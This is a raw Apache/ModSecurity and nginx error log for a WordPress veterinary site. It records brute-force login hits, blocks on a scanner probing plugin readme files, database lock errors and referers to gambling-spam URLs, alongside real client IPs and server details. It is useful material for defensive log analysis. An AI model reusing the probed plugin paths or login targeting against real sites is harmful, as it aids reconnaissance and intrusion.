[Tue Nov 11 10:37:50.707786 2025] [:error] [pid 59670:tid 59679] [client 144.48.39.114:59763] [client 144.48.39.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.48.39.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKhfqk2Cnts0y-hpfp9iwAAAIY"], referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page&date=lastdays:30
[Tue Nov 11 10:37:54.091159 2025] [:error] [pid 59670:tid 59696] [client 144.48.39.114:59763] [client 144.48.39.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.48.39.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKhgqk2Cnts0y-hpfp9kwAAAJc"], referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page&date=lastdays:30
[Tue Nov 11 12:00:44.136202 2025] [proxy_fcgi:error] [pid 59670:tid 59673] [client 114.119.143.152:44629] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1762833643.3743929862976074218750', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('wp_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_optionPHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2339:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg.aspx
[Tue Nov 11 12:03:30.934520 2025] [proxy_fcgi:error] [pid 53356:tid 53385] [client 114.119.143.210:60361] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2339:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/slot1688.aspx
[Tue Nov 11 12:07:16.945452 2025] [:error] [pid 53355:tid 53367] [client 213.209.143.137:59781] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRK2dIB5X5A3rMc4_nD5PAAAAAk"]
[Tue Nov 11 12:07:17.465839 2025] [:error] [pid 53356:tid 53403] [client 213.209.143.137:65177] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRK2dekdmt0kzjVcUN9mDwAAAFI"]
[Tue Nov 11 12:07:17.988776 2025] [:error] [pid 53414:tid 53433] [client 213.209.143.137:54689] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRK2dQs6pHd_Z5oc1ecyvAAAARE"]
[Tue Nov 11 13:28:32.938352 2025] [:error] [pid 53356:tid 53391] [client 85.214.10.56:36362] [client 85.214.10.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.10.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRLJgOkdmt0kzjVcUN-CMwAAAEY"]
[Tue Nov 11 14:40:15.829124 2025] [:error] [pid 53414:tid 53435] [client 207.244.250.242:44980] [client 207.244.250.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.244.250.242, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRLaTws6pHd_Z5oc1edrMgAAARM"]
[Tue Nov 11 15:43:00.964017 2025] [:error] [pid 53414:tid 53434] [client 58.49.233.126:53864] [client 58.49.233.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRLpBAs6pHd_Z5oc1eeADwAAARI"]
[Tue Nov 11 15:53:18.863757 2025] [:error] [pid 53449:tid 53460] [client 146.185.184.4:37608] [client 146.185.184.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.185.184.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRLrbtpz08j5NoUSzp9FWQAAAUY"]
[Tue Nov 11 17:12:30.374267 2025] [:error] [pid 36673:tid 36684] [client 162.19.204.57:54122] [client 162.19.204.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.19.204.57, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRL9_ivASiSDHs9bkfffvQAAAIk"]
[Tue Nov 11 19:28:48.577228 2025] [:error] [pid 36673:tid 36696] [client 157.90.144.101:37400] [client 157.90.144.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.144.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRMd8CvASiSDHs9bkfcIRAAAAJU"]
[Tue Nov 11 20:41:07.659238 2025] [:error] [pid 36673:tid 36698] [client 178.63.98.224:40856] [client 178.63.98.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.63.98.224, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRMu4yvASiSDHs9bkfccRQAAAJc"]
[Tue Nov 11 21:01:11.171614 2025] [:error] [pid 36673:tid 36683] [client 213.209.143.137:59596] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRMzlyvASiSDHs9bkfciEwAAAIg"]
[Tue Nov 11 21:01:14.145348 2025] [:error] [pid 43205:tid 43216] [client 213.209.143.137:60191] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRMzmr48SbhIkX6TjwOnygAAAQg"]
[Tue Nov 11 21:49:53.309108 2025] [:error] [pid 36673:tid 36693] [client 147.182.231.200:55826] [client 147.182.231.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.231.200, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRM_ASvASiSDHs9bkfczmQAAAJI"]
[Tue Nov 11 22:06:30.570766 2025] [proxy_fcgi:error] [pid 43205:tid 43223] [client 17.22.237.77:53170] AH01067: Failed to read FastCGI header
[Tue Nov 11 22:06:30.570850 2025] [proxy_fcgi:error] [pid 43205:tid 43223] (104)Connection reset by peer: [client 17.22.237.77:53170] AH01075: Error dispatching request to : 
[Tue Nov 11 22:10:48.204777 2025] [:error] [pid 47859:tid 47880] [client 213.209.143.137:58850] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRND6KRzLR7egYHK_4d6MAAAABA"]
[Tue Nov 11 22:10:48.724710 2025] [:error] [pid 47964:tid 47973] [client 213.209.143.137:61558] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRND6F6CQC3ebUS5pkQDVAAAAYY"]
[Tue Nov 11 22:11:07.143532 2025] [:error] [pid 47860:tid 47896] [client 213.209.143.137:56326] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aRND-6Pe6bkmJWx80CzSpwAAAEU"]
[Tue Nov 11 22:11:07.403800 2025] [:error] [pid 47964:tid 47982] [client 213.209.143.137:49626] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aRND-16CQC3ebUS5pkQDqgAAAY8"]
[Tue Nov 11 22:11:07.926036 2025] [:error] [pid 47859:tid 47864] [client 213.209.143.137:60503] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aRND-6RzLR7egYHK_4d6hAAAAAA"]
[Tue Nov 11 22:11:08.451123 2025] [:error] [pid 47859:tid 47870] [client 213.209.143.137:62555] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aRND_KRzLR7egYHK_4d6jgAAAAY"]
[Tue Nov 11 23:00:14.039213 2025] [:error] [pid 47964:tid 47972] [client 167.253.157.8:58906] [client 167.253.157.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.253.157.8, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRNPfl6CQC3ebUS5pkQZtQAAAYU"]
[Wed Nov 12 00:11:39.799786 2025] [:error] [pid 47964:tid 47974] [client 5.189.153.179:38760] [client 5.189.153.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.153.179, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRNgO16CQC3ebUS5pkQ0XAAAAYc"]
[Wed Nov 12 00:36:20.233005 2025] [:error] [pid 54701:tid 54990] [client 54.74.25.151:55554] [client 54.74.25.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.74.25.151, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRNmBBf-2zu56UfbUVKteAAAAUU"]
[Wed Nov 12 02:28:58.858531 2025] [:error] [pid 54518:tid 54543] [client 59.125.102.226:52396] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aROAaqZo3QGSqi1oDHlF-gAAARc"]
[Wed Nov 12 03:33:32.806058 2025] [:error] [pid 5442:tid 5493] [client 43.159.144.16:51064] [client 43.159.144.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aROPjM7HMxbACDP6eTh21gAAAEw"]
[Wed Nov 12 03:53:12.784494 2025] [:error] [pid 11806:tid 11841] [client 157.173.116.155:52904] [client 157.173.116.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.173.116.155, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aROUKEQ6N6bCytaBVJdJxgAAABU"]
[Wed Nov 12 04:20:15.131734 2025] [:error] [pid 57222:tid 57238] [client 213.209.143.137:57501] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aROaf2GJazH5XCcA91cTzQAAAAs"]
[Wed Nov 12 04:20:15.631878 2025] [:error] [pid 57223:tid 57265] [client 213.209.143.137:59617] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aROafxUU8_2aS__aG8YtPAAAAEg"]
[Wed Nov 12 04:20:16.133956 2025] [:error] [pid 57312:tid 57329] [client 213.209.143.137:62007] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aROagI0cuHgB17JK5qWd7AAAAMw"]
[Wed Nov 12 04:43:26.958321 2025] [:error] [pid 32959:tid 32982] [client 36.111.67.189:42489] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aROf7noyrq7OJfcFnDigrgAAARM"]
[Wed Nov 12 05:16:26.823581 2025] [:error] [pid 57224:tid 57301] [client 188.245.119.159:44354] [client 188.245.119.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.119.159, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aROnqhs7oZ7imwCSdAn7wAAAAJE"]
[Wed Nov 12 07:23:38.997956 2025] [:error] [pid 32959:tid 32978] [client 146.185.184.4:51528] [client 146.185.184.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.185.184.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRPFenoyrq7OJfcFnDgF_gAAAQ8"]
2025/11/12 08:46:53 [error] 24804#24804: *1298 connect() failed (111: Connection refused) while connecting to upstream, client: 52.59.43.236, server: vetstars.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "vetstars.com.au", referrer: "https://vetstars.com.au/"
2025/11/12 08:49:31 [error] 24801#24801: *1939 connect() failed (111: Connection refused) while connecting to upstream, client: 121.37.21.173, server: vetstars.com.au, request: "HEAD /services/ HTTP/1.1", upstream: "http://103.4.122.14:8181/services/", host: "vetstars.com.au"
2025/11/12 08:51:01 [error] 24794#24794: *2282 connect() failed (111: Connection refused) while connecting to upstream, client: 192.36.53.165, server: vetstars.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "www.vetstars.com.au"
2025/11/12 08:51:59 [error] 24797#24797: *2542 connect() failed (111: Connection refused) while connecting to upstream, client: 142.132.180.39, server: vetstars.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "vetstars.com.au", referrer: "https://vetstars.com.au/"
2025/11/12 08:57:06 [error] 24792#24792: *4673 connect() failed (111: Connection refused) while connecting to upstream, client: 3.77.67.4, server: vetstars.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "vetstars.com.au", referrer: "https://vetstars.com.au/"
2025/11/12 09:02:12 [error] 24795#24795: *8387 connect() failed (111: Connection refused) while connecting to upstream, client: 78.47.173.76, server: vetstars.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "vetstars.com.au", referrer: "https://vetstars.com.au/"
2025/11/12 09:04:00 [error] 24802#24802: *9096 connect() failed (111: Connection refused) while connecting to upstream, client: 114.119.138.32, server: vetstars.com.au, request: "GET /betflix%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20auto.aspx", host: "vetstars.com.au", referrer: "https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C.aspx"
[Wed Nov 12 09:30:28.947997 2025] [:error] [pid 42109:tid 42125] [client 92.205.25.52:59514] [client 92.205.25.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.25.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRPjNESVaAu1Gvn5umFOEgAAAQ4"]
[Wed Nov 12 10:40:45.178439 2025] [:error] [pid 60405:tid 60408] [client 146.190.155.17:50226] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.190.155.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRPzrXMGv_mlVi6mf5pWrgAAAAA"]
[Wed Nov 12 11:44:48.280011 2025] [:error] [pid 12744:tid 12750] [client 18.118.108.129:49878] [client 18.118.108.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.118.108.129, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRQCsJ1cp_ouUvkFj0WeEQAAAQI"]
[Wed Nov 12 12:54:01.030666 2025] [:error] [pid 60405:tid 60422] [client 45.82.122.124:64930] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.82.122.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRQS6XMGv_mlVi6mf5qMnQAAAA4"]
[Wed Nov 12 13:58:12.119456 2025] [:error] [pid 12744:tid 12764] [client 91.107.201.3:40122] [client 91.107.201.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.107.201.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRQh9J1cp_ouUvkFj0XlpwAAARA"]
[Wed Nov 12 15:10:20.133143 2025] [:error] [pid 12744:tid 12764] [client 178.62.91.14:35606] [client 178.62.91.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.91.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRQy3J1cp_ouUvkFj0UESwAAARA"]
[Wed Nov 12 16:20:45.966498 2025] [:error] [pid 60405:tid 60432] [client 213.170.133.89:52362] [client 213.170.133.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.170.133.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRRDXXMGv_mlVi6mf5rSHwAAABg"]
[Wed Nov 12 16:56:11.566243 2025] [ssl:error] [pid 60096:tid 60127] [client 35.86.242.245:37840] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Wed Nov 12 17:27:04.267365 2025] [:error] [pid 60096:tid 60157] [client 161.35.158.4:52976] [client 161.35.158.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.158.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRRS6DmzkhCvvk8DXOyM0wAAAJc"]
